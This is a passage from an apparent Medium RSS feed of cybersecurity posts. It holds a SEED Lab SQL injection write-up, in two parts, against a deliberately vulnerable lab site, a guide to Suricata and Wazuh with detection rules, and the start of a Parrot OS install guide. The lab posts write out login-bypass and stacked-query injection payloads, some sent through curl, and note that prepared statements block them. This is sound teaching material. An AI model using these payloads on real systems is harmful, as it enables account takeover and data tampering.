src="https://cdn-images-1.medium.com/max/624/1*P41v4LJBiPBezZHmFF4gBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jKS5afokcGZaFxrn8uT77w.png" /></figure><p>Inside the login logic, the vulnerable string‑concatenated query is commented out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*PqL6mB4zPFGsUoNkLq6KWg.png" /></figure><p>Replace it with a prepared statement using parameterized queries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Uav_aQwJHFIvQ5Tzi8fGiA.png" /></figure><p>Save the updated file and reload the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yVB-vS1IlYOTAboFZxqKXQ.png" /></figure><p>Now the backend safely binds user input as data, <em>not executable SQL</em>.</p><h4>✔️ Testing the defense</h4><p>Login with legitimate credentials — works normally.</p><p>Try injecting SQL (e.g., Boby’ #).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qyoy2VaMQoniU_GjDe2W2A.png" /></figure><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*dwDza3c3XUbkso7H1OQ61A.png" /></figure><p><strong>Nothing is returned. The query is no longer injectable.</strong></p><p>Prepared statements completely shut down the attack vector we exploited throughout the lab.</p><h3>✅ Conclusion</h3><p>This concludes Part 2 of the SQL Injection SEED Lab. Here’s what we accomplished:</p><h4>🧨 Offensive Techniques</h4><p>Abused vulnerable UPDATE queries to:</p><p>Modify our own salary</p><p>Modify other users’ salaries</p><p>Reset another user’s password</p><p>Used multi‑query techniques for stacked queries</p><p>Learned how SQL injection can shift from data theft ➝ data manipulation ➝ account takeover</p><h4>🔐 Defensive Techniques</h4><p>Identified insecure query construction</p><p>Replaced dynamic string concatenation with <strong>prepared statements</strong></p><p>Verified that injection attempts no longer work</p><p>With these hands‑on demonstrations, you now have a full understanding of how SQL injection operates, how attackers escalate impact, and the exact coding practices required to eliminate these risks for good.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c78917757e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Attack SEED Labs (Part 1)]]></title>
            <link>https://medium.com/@aquarz555/sql-injection-attack-seed-labs-f389a9545655?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f389a9545655</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[solutions]]></category>
            <category><![CDATA[seed-lab]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 12:39:15 GMT</pubDate>
            <atom:updated>2025-11-12T12:46:06.664Z</atom:updated>
            <content:encoded><![CDATA[<p>In this lab we will identify and exploit SQL injection vulnerabilities within an unprotected application. The study will reveal how these attacks operate and show practical examples while explaining fundamental defense strategies to counteract these security risks.</p><h3>🔧<strong>Basic Setup</strong></h3><p>🔹The initial requirement involves obtaining every necessary resource which includes the customized Ubuntu virtual machine together with lab setup documentation and the complete laboratory instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*nbQrY_QgsWfdGuP_hKC8wg.png" /></figure><p>🔹 Then we’ll transfer the said docker files to ubuntu.</p><h3>⚙️Setting up the SEED Lab Environment</h3><p>🔹Build docker by running command (dcbuild)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*HqcbeKuBBNZsJ-JnRHlg8Q.png" /></figure><p>🔹Open dockerfile and see credentials or root, mysql _user, and mysql_database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*WZQPSk-DEUUhY2IknbNcdg.png" /></figure><p>🔹Run (dcup) command to turn on the docker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*fZvGeZSYuYgfv246CwxXjQ.png" /></figure><p>🔹Run (dockps) to list containers then run (cat /etc/hosts) to see the data inside the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Zsie_oLCVFd4H0WuQq0gNw.png" /></figure><p>🔹Open the labsetup file to see the ips and urls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GjfSUTA8ibToGMA6_lKOaQ.png" /></figure><p>🔹Open the website by running the url of the seed server i.e; <a href="http://www.seed-server.com/">http://www.seed-server.com/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*PZKK6AxPrc1sl6-XcU1pFg.png" /></figure><h3>🔷<strong>Task 2 (SQL Injection Attack on SELECT Statement)</strong></h3><p>🔹Check the accounts information from the lab manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ZKIaQM40myvlqKwe5H-4uA.png" /></figure><p>🔹Open the admin account by entering the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*IsK5OmI-7bncl93Id9F0bQ.png" /></figure><p>🔹After opening the account, the user details are given in table format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*FRQqfmKBJnPlM-1DYeiOmQ.png" /></figure><p>🔹Open the Alice account by inserting the credentials and here are the details of Alice in table format (employee id, salary, birth etc).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*PpoACLp4qJYIwJ7qF2mBTQ.png" /></figure><h3>🔷<strong>Task 2.1 (SQL Injection Attack from webpage)</strong></h3><p>🔹Open the unsafe_ome.php file and see the code of admin information, in which he can see all details of the employees.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*rBFbdZVv3fUHNj-ONhoTVg.png" /></figure><p>🔹If we login to employee profile login page with sql query (Admin’ — )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9GNprHeNouvhyT7U4krRjw.png" /></figure><p>🔹It shows an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*WisAPsWjKvTnR_3lj-bXVw.png" /></figure><p>🔹Run (docksh a) to navigate to the lab container, and then list files to see the unsafe_home.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*k_RqDfRDqfPNCs6C6VlwHA.png" /></figure><p>🔹Open that file and enter code (echo $sql;).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*CovLyKAUAA0cvhM42sfA2A.png" /></figure><p>🔹Then run that file in the terminal to make the changes saved in the container. After that open the employee login page and enter the same sql query (Admin’ — -).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*kSJ2QcvMQcDUup917skJ_Q.png" /></figure><p>🔹The error occurs which shows that the wrong query is entered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*tOqVL0p8ntBagN0ZjnGG2Q.png" /></figure><p>🔹Then add a different query on employee login page i.e; (Admin’ #).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*KYcP78P9WD4FaBFLu4-13A.png" /></figure><p>🔹After this query, the admin account opens without any password. Which shows the vulnerability of input validation in this website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*UZCBcDYgI8EN55MsJJcY0Q.png" /></figure><h3>🔷 <strong>Task 2.2 ( SQL Injection Attack from command line)</strong></h3><p>🔹Run command (curl ‘www.seed-server.com/unsafe_home.php?username-alice&amp;Password=11’) to check the information of Alice’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*n8_p-qSkgK2VdYZEQBD4Lw.png" /></figure><p>🔹Now see the credentials of alice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*J-6yrOzz3W2w36L-Thsq4A.png" /></figure><p>🔹Login to employee id by entering the Alice credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*DfgD1oWDSPMUDeBWSqVFOw.png" /></figure><p>🔹Here, we logged in, but a message is shown on the front, which was displayed above after running a curl query in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*46SaVQ-jEtJQxfBdO-OVUw.png" /></figure><p>🔹The problem is that, when we run curl command, there was a password written for alice, which was a log hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*MoVVwtbZZ2s5lq49GHjPpw.png" /></figure><p>🔹Between (alice) and (&amp;Password) in curl command, we will write (#),</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*HKOdbaU5xad0B1wTd28C_g.png" /></figure><p>🔹But in above detail, we have seen that hash form is needed, so we will open the url-encoder website and check for the hash of (#), write that value (%27%20%23) in place of (#).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*OXlsGl68PLsaJm20bmSidA.png" /></figure><h3>🔷<strong>Task 2.3 (Append a new sql statement)</strong></h3><p>🔹Get familiar with sql commands, run (select 1; select 2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*H0_RXcgg9DdNSdzZtp7Prw.png" /></figure><p>🔹Open employee profile login page and enter query (Admin’ select 1; #’)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*C0j5HzbFnhiUZYh4qj-vtg.png" /></figure><p>🔹The error will occur showing that the wrong query is entered, and a long script is shown in the front.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*4cMHWDZdPLayNomJ5ixwwg.png" /></figure><p>🔹Put that long script (SELECT id,name,eid,salary,birth,ssn, phoneNumber,address,email,nickname,Password,FROM credential WHERE name= ‘Alice’; select 1;# and Password=’da39a3ee5e6b4b0d3255bfef95601890afd80709’) in the sql&gt; in the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Lc54xPOLejrE-icGTmXfNg.png" /></figure><p>🔹After running that command, see the alice’s id details in table format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*u4E-bJ4PLiZzSnKGasi_Sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eqz4vQ_Glxp0WUxeW1kZjA.png" /></figure><p>🔹Now in the curl command, we will write (select 1;) between (alice) and (Password).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*4eO-oA_ETPMyycrhJT7iTQ.png" /></figure><p>🔹Now we will open the url-encoder, and check for the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eJl-3Ya4WeDjXgOjFz0loQ.png" /></figure><p>🔹Now put that hash (%27%20%3Bselect%201%3B%23) in the curl command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*kS5u0UHeG7vgqZCzQD979A.png" /></figure><p>🔹Now open the unsafe_home.php file and see the code where the query is written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*FjetssbwSexqkogkku_5JQ.png" /></figure><p>🔹Here we will use the technique of multi-query to perform multiple queries at the same time in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*wEnowb-Cct0weX4IDayxww.png" /></figure><p>🔹Replace that word (query) with (multi_query).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*NY8NhfCNt-ivOxAiYvT--A.png" /></figure><p>🔹Now run that file in the terminal to make the changes saved in the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*WpHnVnK3K4iNYORajLoAYQ.png" /></figure><p>🔹Open employee login page and enter query (Alice; select 1; #).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*WQKO-KZ53fpInrH_d-ollA.png" /></figure><p>🔹Here you will see the information paragraph in the front.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*EBOrHZx5DeZ4vZpwFJVlCg.png" /></figure><blockquote>📍 <strong>Conclusion</strong></blockquote><p>That wraps up the hands-on portion of Part 1 — we confirmed the presence of classic SQL injection flaws, exercised basic injection techniques from both the web UI and command line, and demonstrated how multi-query payloads can expose sensitive records like Alice’s. In the next blog I’ll pick up where this lab leaves off: we’ll dive into more advanced injection types (UNION, blind and time-based), show how attackers can escalate access and exfiltrate data, and — just as important — walk through practical defenses: parameterized queries/prepared statements, input validation/encoding, proper error handling, WAF rules, and logging/monitoring strategies to detect and respond to attacks. Stay tuned for step-by-step remediation examples and defensive code snippets you can apply to make the application safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f389a9545655" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enhancing Network Security: Seamless Integration of Suricata with Wazuh on Kali Linux]]></title>
            <link>https://medium.com/@aquarz555/enhancing-network-security-seamless-integration-of-suricata-with-wazuh-on-kali-linux-62f1921c9e3e?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/62f1921c9e3e</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[integration]]></category>
            <category><![CDATA[suricata]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[logs]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Sat, 25 Oct 2025 12:44:49 GMT</pubDate>
            <atom:updated>2025-10-27T11:49:49.671Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enhancing Network Security: Seamless Integration of Suricata with Wazuh on Kali Linux and Blocking Traffic of Specific Countries</h3><p>In the ever-evolving world of cybersecurity, combining open-source tools like Suricata — an advanced network intrusion detection system (NIDS) — with Wazuh — a robust security information and event management (SIEM) platform — can significantly boost your threat detection and response capabilities. This integration allows Suricata to monitor network traffic in real-time while forwarding logs to Wazuh for centralized analysis, alerting, and visualization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*G3kRL6qbUAPCdp9b735RjQ.png" /></figure><p>In this hands-on guide, we’ll walk through the process of setting up Suricata on a Kali Linux machine (acting as your monitoring endpoint) and linking it to a Wazuh server. This setup is ideal for home labs, penetration testing environments, or small-scale deployments. We’ll cover installation, configuration, rule customization (including geo-blocking for specific countries), and log forwarding to Wazuh. By the end, you’ll be able to detect suspicious activities like ICMP pings, SSH attempts, or web-based threats and see them dashboarded in Wazuh.</p><p><strong>Prerequisites:</strong></p><ul><li>A Kali Linux VM or machine.</li><li>A running Wazuh server (with agent enrollment capabilities; we’ll use its IP for SSH and config).</li><li>Root or sudo access on Kali.</li><li>Basic familiarity with Linux commands and networking.</li><li>Network access to a target (e.g., a Windows VM for testing pings).</li></ul><blockquote><strong>Note:</strong> All commands are run as root or with sudo. Replace placeholders like wazuh_ip with your actual Wazuh server IP.</blockquote><h3>🖥️Step 1: Update Your System and Install Suricata</h3><p>Start by ensuring your Kali system is up to date and install Suricata along with essential dependencies for geo-IP handling.</p><pre>sudo su<br>apt update &amp;&amp; apt upgrade -y<br>apt install suricata geoip-bin geoip-database -y<br>suricata -v # Verify installation</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*7jmXyX2WjTLA9At4efcCXA.png" /></figure><p>This installs Suricata and GeoIP tools for later country-based blocking.</p><h3>⚙️Step 2: Configure Suricata Basics</h3><p>Navigate to the rules directory and create a custom rules file. Enable and start the Suricata service, then tweak network interface settings to disable offloading for accurate packet capture.</p><pre>cd /etc/suricata/rules</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*vt8x_jC-TLRsu-6F3XbGYA.png" /></figure><pre>touch local.rules<br><br>nano local.rules # We&#39;ll add rules later<br>systemctl enable suricata<br>systemctl start suricata</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yTmMttrdz2Z_O3qjhSmTPg.png" /></figure><pre>ethtool -K eth0 gro off lro off # Disable GRO/LRO on eth0 for better inspection<br><br>systemctl stop suricata # Stop to avoid PID conflicts<br>rm -rf /var/run/suricata.pid<br><br>suricata -D -c /etc/suricata/suricata.yaml -i eth0 # Run in daemon mode on eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*AobH0JXkw0EBYB717Eahog.png" /></figure><pre><br>systemctl enable suricata # Re-enable for persistence</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*bamSqdxJYTm6dQDlQNFAIA.png" /></figure><p>Check your Kali IP and interface:</p><pre>ifconfig # Or ip a; note your IP (e.g., 192.168.147.128) and interface (eth0)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*vp2kEA1H7SufGgeY1RSG9Q.png" /></figure><h3>🧭Step 3: Customize Suricata Configuration</h3><p>Edit the main YAML config to define your home network, enable EVE JSON logging (key for Wazuh integration), and activate community ID tracking for better flow correlation.</p><pre>nano /etc/suricata/suricata.yaml</pre><p>Key edits in suricata.yaml:</p><ul><li>Set HOME_NET: [192.168.147.128/24] (your Kali subnet).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*cF6Xz05PiioemYINEl2Bbw.png" /><figcaption>kali ip set</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*LbRy-rN7CqhVO5G-vC-ztw.png" /><figcaption>interface = eth0</figcaption></figure><ul><li>Set default-log-dir: /var/log/suricata.</li><li>Under outputs, enable EVE JSON:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*65eSuaHMKpv7hvb1pBt39Q.png" /><figcaption>enable eve json</figcaption></figure><pre>- eve-log:<br>enabled: yes<br>filetype: regular<br>filename: eve.json<br>community-id: true<br>types:<br>  - alert:<br>      payload: yes<br>      payload-printable: yes<br>      packet: yes<br>      http: yes<br>      tls: yes<br>      ssh: yes<br>      smtp: yes<br>  - http:<br>      enabled: yes<br>  - dns:<br>      enabled: yes<br>  - tls:<br>      enabled: yes<br>   - ssh:<br>      enabled: yes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*RP0WlVzV_QsgLvBF0Zf8EQ.png" /><figcaption>Community id = true</figcaption></figure><ul><li>Under af-packet, set interface: eth0.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qxpATYkQqAFMwPPU1RYG7A.png" /><figcaption>interface = eth0</figcaption></figure><ul><li>Save and exit.</li></ul><p>Validate the config:</p><pre>suricata -T -c /etc/suricata/suricata.yaml -v</pre><p>Update Suricata rules for emerging threats:</p><pre>suricata-update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jthcSG-WMunJxPAnNqvqVg.png" /></figure><h3>🌐Step 4: Implement Geo-IP Blocking for Threat Mitigation</h3><pre>sudo apt-get install geoip-bin geoip-database</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eioFCWtfeAvKBcn9_pet3g.png" /></figure><p>To block traffic from high-risk regions (e.g., China and Russia), download IP zone files, create IP sets, and apply iptables rules. This adds a proactive layer before Suricata inspection.</p><pre>wget -O cn.zone http://www.ipdeny.com/ipblocks/data/countries/cn.zone<br>wget -O ru.zone http://www.ipdeny.com/ipblocks/data/countries/ru.zone</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*DjKDcyJf4BiKOnsg77ZT1A.png" /></figure><pre>ipset create china hash:net<br>ipset create russia hash:net</pre><pre># Add Chine IP ranges to the IP set<br>while read ip; do<br>sudo ipset add china $ip<br>done &lt; cn.zone<br># Add Russia IP ranges to the IP set<br>while read ip; do<br>sudo ipset add russia $ip<br>done &lt; ru.zone</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*OOQj6JH1pYwTYmBpp9jQrw.png" /></figure><pre># Block incoming traffic<br>iptables -I INPUT -m set --match-set china src -j DROP<br>iptables -I INPUT -m set --match-set russia src -j DROP<br><br># Verify rules<br>iptables -L</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*S5JDru9J8HoIjE0jLRX0sA.png" /></figure><p>For Suricata alerts on geo-blocked traffic, create a dedicated rules file:</p><pre>nano /etc/suricata/rules/ipset.rules</pre><p>Add:</p><pre>alert ip any any -&gt; any any (msg:&quot;Potential Traffic from China IP Range&quot;; sid:1000001; rev:1;)<br>alert ip any any -&gt; any any (msg:&quot;Potential Traffic from Russia IP Range&quot;; sid:1000002; rev:1;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*H2vHPwvQKJ7w8P4-GSL8QA.png" /></figure><p>Include it in suricata.yaml under rule-files:</p><pre>rule-files:<br>  - ipset.rules<br>  - local.rules</pre><h3>🧠Step 5: Define Custom Detection Rules</h3><p>Enhance detection with rules for common threats. Edit the local rules file:</p><pre>nano /etc/suricata/rules/local.rules</pre><p>Example rules:</p><pre>alert icmp any any -&gt; $HOME_NET any (msg:&quot;Incoming ICMP Ping Detected&quot;; sid:1; rev:1;)<br>drop http any any -&gt; any any (msg:&quot;Blocking Facebook Access&quot;; content:&quot;facebook.com&quot;; http_host; sid:1000003; rev:1;)<br>alert tcp any any -&gt; any any (msg:&quot;Suspicious Admin Page Access&quot;; content:&quot;admin&quot;; http_uri; sid:1000004; rev:1;)<br>alert tcp any any -&gt; any 22 (msg:&quot;Incoming SSH Connection Attempt&quot;; flow:to_server; sid:1000005; rev:1;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*l6zDwApY1wgfzLtjknM3Vg.png" /></figure><pre>- /etc/suricata/rules/ipset.rules<br> - /etc/suricata/rules/local.rules</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jk4O-RSVbp4VyuXIfDVVHQ.png" /></figure><p>Reload rules:</p><pre>suricata-update<br>systemctl restart suricata</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ajoJuXB27k7noollpK9Zxw.png" /></figure><h3>🧪Step 6: Test Suricata Detection</h3><p>Monitor logs while generating traffic.</p><pre>sudo suricata -T -c /etc/suricata/suricata.yaml -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*xrMe0Ath_m-c3C-DIaPmqQ.png" /></figure><p>From Kali, ping a Windows VM (replace windows_ip with its actual IP, e.g., 192.168.147.130):</p><pre>ping &lt;windows_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*wSWkQg0dGcVHFymo3R-CEA.png" /></figure><p>View alerts in real-time:</p><pre>tail -f /var/log/suricata/fast.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*uRuL9weXvy2IBEH4maYKQA.png" /></figure><p>You should see ICMP entries. For SSH, attempt a connection from another machine to Kali’s port 22 and check logs.</p><h3>🔍Step 7: Integrate Suricata Logs with Wazuh</h3><p>To forward Suricata’s JSON logs to Wazuh, configure the Wazuh agent on Kali to monitor /var/log/suricata/eve.json. First, ensure the Wazuh agent is installed and enrolled (if not, follow Wazuh docs to install via package and enroll with manage_agents).</p><p>Edit the agent config:</p><pre>nano /var/ossec/etc/ossec.conf</pre><p>Add this block within &lt;ossec_config&gt;:</p><pre>&lt;localfile&gt;<br>  &lt;log_format&gt;json&lt;/log_format&gt;<br>  &lt;location&gt;/var/log/suricata/eve.json&lt;/location&gt;<br>&lt;/localfile&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*5zLJBkEeTuCvxTzKvgHwIg.png" /></figure><p>Restart the agent:</p><pre>systemctl restart wazuh-agent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JzUqYUgAev3RroUM1LCVFA.png" /></figure><p>From your Wazuh server, verify enrollment and SSH if needed:</p><pre>ssh wazuh-user@&lt;wazuh_ip&gt;</pre><p>In the Wazuh dashboard (Kibana), navigate to <strong>Security Events</strong> or <strong>Modules &gt; Security Events</strong>. Generate test traffic (e.g., the ping from Step 6) and search for Suricata alerts. You should see decoded events with details like source IP, protocol, and rule SID.</p><h3>🧯Step 8: Troubleshooting and Best Practices</h3><ul><li><strong>No Logs?</strong> Ensure Suricata is running (systemctl status suricata) and the interface is correct (ip a).</li><li><strong>Geo-Blocking Issues?</strong> Test with ping from a simulated IP in the blocked range (use a VPN).</li><li><strong>Wazuh Not Receiving?</strong> Check agent logs (/var/ossec/logs/ossec.log) and ensure JSON parsing is enabled.</li><li><strong>Performance Tips:</strong> For production, tune suricata.yaml for multi-threading and use eve.json with types: — stats for metrics.</li><li><strong>Security Note:</strong> Rules like “drop” act as IPS; test in a lab to avoid disrupting legit traffic.</li></ul><h3>🛡️Conclusion</h3><blockquote>By integrating Suricata with Wazuh on Kali, you’ve built a powerful duo for network visibility and automated threat hunting. This setup not only detects anomalies like geo-specific traffic or admin probes but also centralizes them in Wazuh for easy correlation with host logs. Experiment with more rules (e.g., for malware C2) and scale to multiple endpoints. Stay vigilant — cyber threats wait for no one!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62f1921c9e3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Install Parrot OS on VMware: A Step-by-Step Guide]]></title>
            <link>https://medium.com/@aquarz555/how-to-install-parrot-os-on-vmware-a-step-by-step-guide-f32f7d036078?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f32f7d036078</guid>
            <category><![CDATA[installation]]></category>
            <category><![CDATA[parrot]]></category>
            <category><![CDATA[vmware-workstation]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[parrotos]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Tue, 21 Oct 2025 13:56:04 GMT</pubDate>
            <atom:updated>2025-10-21T13:56:04.418Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re exploring ethical hacking, digital forensics, or penetration testing, <strong>Parrot Security OS</strong> is one of the most powerful Linux distributions you can use. It comes preloaded with a wide range of cybersecurity and privacy tools — making it a great alternative to Kali Linux.</p><p>In this guide, I’ll walk you through <strong>how to install Parrot OS on VMware</strong> in just a few easy steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*CfTYuRXJzpIZqfxvvK4cQw.png" /></figure><h3>🔧 What You’ll Need</h3><p>Before getting started, make sure you have:</p><p>🔹A PC or laptop with at least <strong>8 GB RAM</strong> and <strong>50 GB free storage</strong></p><p>🔹<strong>VMware Workstation</strong> or <strong>VMware Player</strong> installed</p><p>🔹A stable internet connection to download the Parrot OS image</p><h3>🕹 Step 1: Download Parrot OS</h3><p>1️⃣ Open your web browser and go to the official website: <a href="https://www.parrotsec.org/">https://www.parrotsec.org</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*54f3iHymttjcK46oKZVYFw.png" /></figure><p>2️⃣ Click on <strong>Download</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Qa-YbJH1XxgAhBs0AkYSzw.png" /></figure><p>3️⃣ Under “<strong>Choose your edition</strong>”, select <strong>Security Edition</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jViK1EE7FkF6Asn-_9KL6Q.png" /></figure><p>4️⃣ Choose the <strong>VMware/Virtual</strong> version (it comes as an .ova file).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jYwKMSs8oBTc77xqH9p3oQ.png" /></figure><p>5️⃣ Select <strong>AMD64</strong> (64-bit).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*1MLjZXT03D1E5WBj7ZuZXA.png" /></figure><p>6️⃣ Click <strong>Download</strong> to start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qleIk-J_wXTZE88Wvq0u5A.png" /></figure><p>Once the .ova file finishes downloading, you’re ready for the setup.</p><blockquote><strong>(Tip: Make sure that your DHCP server or any conflicting network adapter is disabled before import to avoid IP assignment issues.)</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*0B53pN8DHJxnqHXGppey5A.png" /></figure><h3>⚙️ Step 2: Import Parrot OS OVA File into VMware</h3><p>1️⃣Open <strong>VMware Workstation / Player</strong>.</p><p>2️⃣ Go to <strong>File → Open</strong>, then browse and select the downloaded .ova file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*Bo4rZhGzzzF6QwYu5rbBYA.png" /></figure><p>3️⃣Click finish to begin the process.</p><p>4️⃣Wait for VMware to import and configure the virtual machine.</p><h3>🧠 Step 3: Adjust Virtual Machine Settings</h3><p>Before powering it on, fine-tune the configuration for better performance:</p><p>1️⃣ <strong>Memory (RAM):</strong> Set to <strong>4096 MB (4 GB)</strong> minimum</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*QIXZPp4yRBkFlCiIAI2fTQ.png" /></figure><p>2️⃣ <strong>Processors:</strong> Assign at least <strong>2 cores</strong></p><p>3️⃣ <strong>Network Adapter:</strong> Change from <em>NAT</em> to <strong>Bridged Adapter</strong> (for full internet access)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*33WdKA2NYGPAa3BLisXWHQ.png" /></figure><p>Click <strong>OK</strong> to save the settings.</p><h3>🚀 Step 4: Start Parrot OS</h3><p>1️⃣ Click <strong>Start</strong> (or <strong>Power On This Virtual Machine</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*UIp-Whp840RDm79WI0HYtA.png" /></figure><p>2️⃣ Wait for Parrot OS to boot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*E9W3b0zwCfG5Vso0cZnO7Q.png" /></figure><p>3️⃣ Once it loads, log in using the default credentials provided on the Parrot website (typically user: parrot and password: parrot).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*PJhgX4kl2WUvcFjJzah2Dg.png" /></figure><h3>🔄 Step 5: Update and Upgrade Your System</h3><p>Once inside the Parrot desktop environment, open the terminal and run:</p><pre>sudo apt update &amp;&amp; 